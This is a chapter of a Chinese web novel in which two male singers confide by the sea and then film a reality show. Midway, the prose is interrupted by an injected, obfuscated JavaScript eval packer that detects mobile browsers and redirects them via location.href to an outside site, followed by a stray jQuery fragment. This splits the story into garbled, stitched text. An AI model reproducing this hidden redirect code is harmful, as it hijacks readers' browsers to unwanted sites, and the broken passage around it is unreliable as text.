“后来，男人脱离了家族，回到他们曾经的小院，度过余生二十年，还在院子里种了一棵枇杷树。”易卿尘说。
“枇杷树？庭有枇杷树，吾妻死之年所手植也，今已亭亭如盖矣。”杨原野想起上学时的语文课文《项脊轩志》，顺口背了出来。
“嗯，就是这样。”易卿尘说，“很平淡的故事，但后劲儿很大。”
“一棵树，让时间有了度量，让思念变得可数，确实后劲儿大。”杨原野说，“不过现在人们压力都大，都很难再接受悲剧的故事了。”
易卿尘点点头，“嗯，我看的这几个恰好都是悲剧。这个是死别，我再给你讲一个生离的故事。”
“嗯嗯。”杨原野吹着海风，认真地听。
“这第二个故事说的是男生和女生在咖啡店一见钟情，感情慢慢升温，却发现男生有婚约在身，而结婚的对象就是女生的姐姐。”
“男朋友变姐夫？这么刺激！”
易卿尘笑着点头，“对。两人爱得义无反顾，中间男生帮助女生摆脱了家庭的困境，还治好了她的抑郁症。眼看一切向好，却因为冲动分开了。多年后再重逢，已经是男生和别人的婚礼了。”
杨原野等了半天，没有动静，于是难以置信地问：“完了？”
“嗯。完了。”易卿尘眨眨眼。
“我去！这第二个故事比第一个还惨。”杨原野慨叹。
易卿尘问：“所以生离和死别，你最怕哪个？”
杨原野看着狂浪，内心却不那么强悍，他不欲再在易卿尘面前伪装，坦白道：“……我都挺怕。你呢？”
“我？”易卿尘思忖良久，抬头看着杨原野的眼睛说：“我都不怕。”
“不管是生离还是死别，只要故事的最后两人还对彼此抱有好感，就都不算太坏……我给你讲讲这第三本小说，你就知道我说的意思了。”
“好，我听着呢。”
易卿尘拉紧了身上的衬衣，吸了口气，开口说道。
“故事发生在京北，一个十九岁的年轻女子，水灵俏丽，是那一片儿单身男人眼中的肥肉。一天傍晚，邻居小伙子把她拖到车棚里侮辱了她。很快她发现怀孕了，母亲给了她一顿打，带着她去男的家里闹。
男的跪下起誓说真心爱慕她，愿意娶她，等孩子生了就领证。女人丢了工作，患上抑郁症，怀孕八个月的时候，一天竟撞见男的和另一个女人翻云覆雨、白日宣淫，还嘲讽她‘贱货只得贱卖’。她失了智，抄起桌上的水果刀……”
易卿尘一时竟讲不下去。杨原野看着他望向大海深处的眼睛，瞳孔里裹着化不开的哀切，睫毛微微打颤，嘴唇抿得很紧。
杨原野眉心突跳，小声唤他：“易卿尘？”
隔了两秒，易卿尘回了神，语调平静地说：“我接着讲。”
“……她抄起桌上的水果刀，对着男的后背捅了进去，足足七刀。男人赤身裸体，浑身是血，倒在另一个光着的女人身上，死了。”
易卿尘又陷入了短暂的静默，故事该是讲完了。
杨原野紧声问：“后来呢？”
“后来，女人被判了三十年刑期，出狱的时候已经精神失常。”
“生活果然比书里写的更残忍。”杨原野边说边盯住易卿尘的眼睛——一道墨玉色在他眼中骤现，又很快被遮住。
易卿尘抬手蹭了蹭被凉风吹得发热的眼睛，笑笑，用漫不经心的语气说：“哪里，全都是小说而已。”
海浪拍打着礁石，发出低沉的呜咽声。月光洒在海面上，照亮了波涛的起伏，也映着海的深邃和无边无际。
杨原野的肩膀时不时地碰着易卿尘，说：“你看的这些书都太酸涩了，看多了心情都变差。回头我给你发几本，盗墓、缉毒、星际冒险，都是拔尖的。”
易卿尘笑着点点头，“好啊。”
杨原野接着说：“或者可以看看我配音的动画片，膜拜一下本少爷？我可是个多点开花、全面发展的两栖明星。”
易卿尘被他逗笑，“你下次演个水陆两栖的乌龟，我一定支持票房。不光买票去院线看，还去豆瓣上给你写个五星长评怎么样？”
“说好了，必须给我写出真情实感来！”杨原野咯咯地笑。
第二天一早就要开工录影，两个人又闲聊了一会儿就往回走了。两人在酒店的房间一个在南楼，一个在北楼。行至酒店大堂，易卿尘脱下衬衣外套还给杨原野，跟他道了句晚安。
“早点休息，明天见。”易卿尘刚转身要走，就被杨原野拉住胳膊。
此时大堂里零星有几个人，两人又都没有戴口罩，怕被人认出，杨原野很快便松了手。
易卿尘微微歪头，“怎么了？”
“你……那个孩子……他后来怎么样了？”杨原野问。
易卿尘一顿。
“……你……说什么？”
“那女人坐了几十年牢，那她的孩子呢？”
“……”易卿尘怔愣一瞬。
他果然听懂了他的故事。
他不想杨原野卷进他的麻烦里，又忍不住用这种隐晦的方式对杨原野坦白。
易卿尘缓缓地伸手掠一掠头发，假装不在意地反问：“我怎么知道呢？书里又没写。那样的小孩，大抵就不该出生吧……不是每个生命都被人期待。”
他就是那个带着原罪的生命，无人期待。
杨原野垂下眼帘摇摇头，拎起衬衣外套，臂弯绕过易卿尘的耳旁。夜风中混着杨原野身上清冽的气息，萦绕在易卿尘鼻尖。下一秒，那件带着海风味道的衬衣，今晚第二次笼住易卿尘的身体。
“那个小孩知道这一切的时候一定很难过，甚至以为是自己的错。但是父母的罪恶不是他的一部分，他来到这个世界是个独立完整的人，要自己写自己的故事。”杨原野认真的脸上露出浅浅的暖意，“我知道，关于他的那篇小说一定会很精彩，低开高走，不是悲剧。”
身上这件衬衣明明一晚上都是自己在穿，此刻易卿尘却觉得杨原野的体温正透过布料传到自己身上。
他不明不白就握住了杨原野的一只手，柔声说：“那篇小说就由你来写吧。”
杨原野的眼睛倏地亮了起来，墨色的眸子，眼光闪耀带着怜惜，看得易卿尘诚惶诚恐。
他听得杨原野用小小的气音问道：“真的吗？”
喂，说的是一篇小说啊，杨原野在问什么……易卿尘身上的热度缠缠绵绵地攀升，是的吧，他听懂了他讲的每一个故事，是因为杨原野聪明，还是因为他在乎他呢？……
“杨原野，回京北前，陪我去看看我妈吧，她喜欢听你唱歌。”
杨原野难得笑得如此柔顺，“好，去看看妈妈。”
易卿尘低下头，感受着自己发烫的脸颊。
杨原野用力捏了捏他的手，又用食指搔了下他的掌心。
好痒。
“阿野。”
“嗯？”
易卿尘攥住了杨原野的指尖，小声道：“我今天根本不知道楚总会过去，我和他不是约好的。”
这样解释应该够了吧？如果你没误会，可以说句话？
易卿尘扬起脸，看见杨原野的眉头簇拥着，像渤海湾的午夜般深沉。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13156681|131022||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
再多一秒沉默都会让人感到紧张，易卿尘张口准备再好好解释，杨原野有些委屈地开了口：“我变得不自信了，得不到你的确认我会不安，对不起，可我暂时好像改不了。”
“……嗯……没人要你改啊。”
不能再聊了，这样的阿野，他想吻上去。
“晚安。”易卿尘仓惶跑走了。
-
翌日。真人秀的第一个录制场景搭在了阿那亚的地标性建筑——孤独图书馆。
图书馆门口是一片空旷的海滩，为了《中国唱作人》的录制特别清场，十几台摄像机站成一排，对准六位歌手。
这一期的主题是：“百年孤独”。
六个人坐在孤独图书馆门口，一字排开。易卿尘和杨原野之间隔着三个人，可他总忍不住瞟向杨原野。造型师给杨原野搭了一套复古牛仔服，头发涂了发蜡向后拢着，额上系着条红白相间的发带，配上攻击性的浓颜，非常像上个世纪老港片里旺角古惑仔，让人挪不开眼。
八月天空晴朗，海边总是有风，顺着风的方向，易卿尘又一次偷偷看向右边，正对上杨原野向左荡来的眼波。海风随着那眼波一并吹进易卿尘心里，咸咸痒痒的。
这期第一个环节是游戏，歌曲抢麦：唱关于“孤独”的歌，唱得最多的人可以获得一张“特权卡”，在后面的环节使用。
哨声响起，“古惑仔”一双大长腿跑得比谁都快，冲向麦克风，唱到：“当你孤单你会想起谁，你想不想找个人来陪。”
“有效。”导演确认道。
可能是孤独总是激发创作灵感，关于孤独的歌曲太多了，大家你来我往难分胜负。
段朗星：“如果你的孤单，只是你的习惯，一直把你自己锁起来，实在太不应该。‘五月天’，《终结孤单》”
易卿尘：“少了我的手臂当枕头，你习不习惯，你的望远镜望不到我北半球的孤单。《孤单北半球》”
江琳达：“越长大越孤单，越长越不安。来自‘牛奶咖啡’《越长大越孤单》”
沈世豪：“Merry merry Christmas,lonely lonely Christmas……from Eason Chen”
向荣：“从不喜欢孤单一个,可惜偏偏孤独一个。苏永康的粤语经典《从不喜欢孤单一个》。”
几十首歌过后，就剩下江琳达和杨原野，一人一首，仿佛两个行走的中华曲库互相你来我往在打乒乓球。
江琳达：“孤单的人总说无所谓，其实心里一直在下雪。蔡依林。”
导演：“有效。”
杨原野：“我不要忙忙忙忙故意欺骗自己，平平凡凡忽略我的梦想。孤孤单单夜夜看着月亮，办不到。许慧欣《孤单芭蕾》”
导演：“有效。”
江琳达：“因为你的悲喜已经有了，容身之处，我也能有，最纯粹的孤独。Hebe《还是要幸福》”
江琳达一开口，杨原野便扶额，脱口而出：“我擦，我想的也是这首！”
导演：“有效。”
等了半天，杨原野抓起立麦，唱了一句：“你听寂寞在唱歌，轻轻的，狠狠的。歌声是那么残忍，让人忍不住泪流成河——”
刚唱完，就被喷了一脸干冰，红白发带在脑袋后面跳了个脚。
“寂寞不是孤单，”导演说道，“这个不能通过。”
江琳达趁机又站上去唱了一首。
时间正好用完，江琳达获得了这个环节的第一名，作为目前唯一留下的女歌手，力压所有男士拿到“特权卡”，着实感到扬眉吐气。